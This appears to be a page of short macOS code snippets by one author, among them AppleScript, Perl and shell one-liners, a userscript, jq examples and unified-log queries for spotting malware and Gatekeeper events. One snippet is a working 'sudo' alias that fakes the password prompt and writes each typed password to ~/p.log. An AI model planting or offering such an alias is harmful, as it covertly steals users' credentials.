nikolay-n

on run (input)
	set fPath to (quoted form of finderPath())
	
	-- Trying iTerm app
	set itermPath to do shell script "mdfind 'kMDItemCFBundleIdentifier == com.googlecode.iterm*'"
	if itermPath is not "" then
		do shell script "open -a iTerm " & fPath
		return
	end if
	

nikolay-n

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
	<key>PayloadContent</key>
	<array>
		<dict>
		</dict>
	</array>
	<key>PayloadIdentifier</key>

nikolay-n

// ==UserScript==
// @name        GoogleDocsExtensions
// @description Adds some features to Google Docs
// @match       https://docs.google.com/spreadsheets/d/*
// ==/UserScript==

var storage = window.localStorage;
var oldHref = document.location.href;
var bodyList = document.querySelector("body");
var currentHref = null;

nikolay-n

perl -e '$h="hdiutil";$m=`$h info`;@m=split(/=+/,$m);for(reverse(@m)){/\.dmg$/m and m~/dev/d[\w]+\t[^\t]+\t(/.+)$~m and `$h detach -force "$1"` }'

nikolay-n

jqPlay snippets collected using google and github

1. https://jqplay.org/s/8Zrwy7dDxW

map(select(.|length > 9))

---

2. https://jqplay.org/s/Jb_fnBveMQ

with_entries(.value |= .ip)

nikolay-n

VirusTotal and Checksum Finder QuickActions

To install extract archive to ~/Library/Services Open Sidebar in Finder View -> Show Sidebar or Context Menu -> Services

Download

nikolay-n

#!/usr/bin/env bash

mdfind kMDItemContentType="com.apple.application-bundle" | perl -ne 's/ /\\ /g, `codesign -d -vvvv $_`' 2>&1 | egrep "Authority=(3rd|Soft|Dev|Mac|Apple Dev)" | sort | uniq | perl -ne '/[^=]+=[^:]+: (.+)\s\((.+)\)$/ && print "$2=$1\n"'

nikolay-n

alias sudo=$'perl -e \'while(1){$e="echo";print"Password: ";`stty -$e`;$p=<STDIN>;`stty $e;$e "$p">>~/p.log;`;print"\n";*E=*STDERR;open(STDERR,">/dev/null");open(S,"|-","sudo","-S",@ARGV)and do{print S $p;close(S); last unless $?};}\''

nikolay-n

#!/usr/bin/env bash
# doesn't requires private data on
log show --style syslog --predicate 'process == "taskgated" && eventMessage CONTAINS[c] "no system signature"' --info --debug --last 1d
log show --style syslog --predicate 'eventMessage CONTAINS[c] "MalwareFileNameFullOrPart"' --info --debug --last 1d
log show --style syslog --predicate 'process == "kernel" && eventMessage CONTAINS[c] "Security policy would not allow process"' --info --debug --last 1d


# requires private data on
log show --style syslog --predicate 'process == "CoreServicesUIAgent" && eventMessage CONTAINS[c] "bundle="' --info --debug --last 1d
log show --style syslog --predicate 'subsystem == "com.apple.launchservices" && category == "code-evaluation"' --info --debug --last 1d

nikolay-n

#!/usr/bin/env perl

# Files that was born at the near same time
# Usage: perl files_born.pl file_path [5s|m|h|d] 

use IPC::Open2;
my $file = shift;
my $interval = shift // "1m";
my $attr = "kMDItemFSCreationDate";
my $c_date = `mdls -raw -name $attr "$file"`;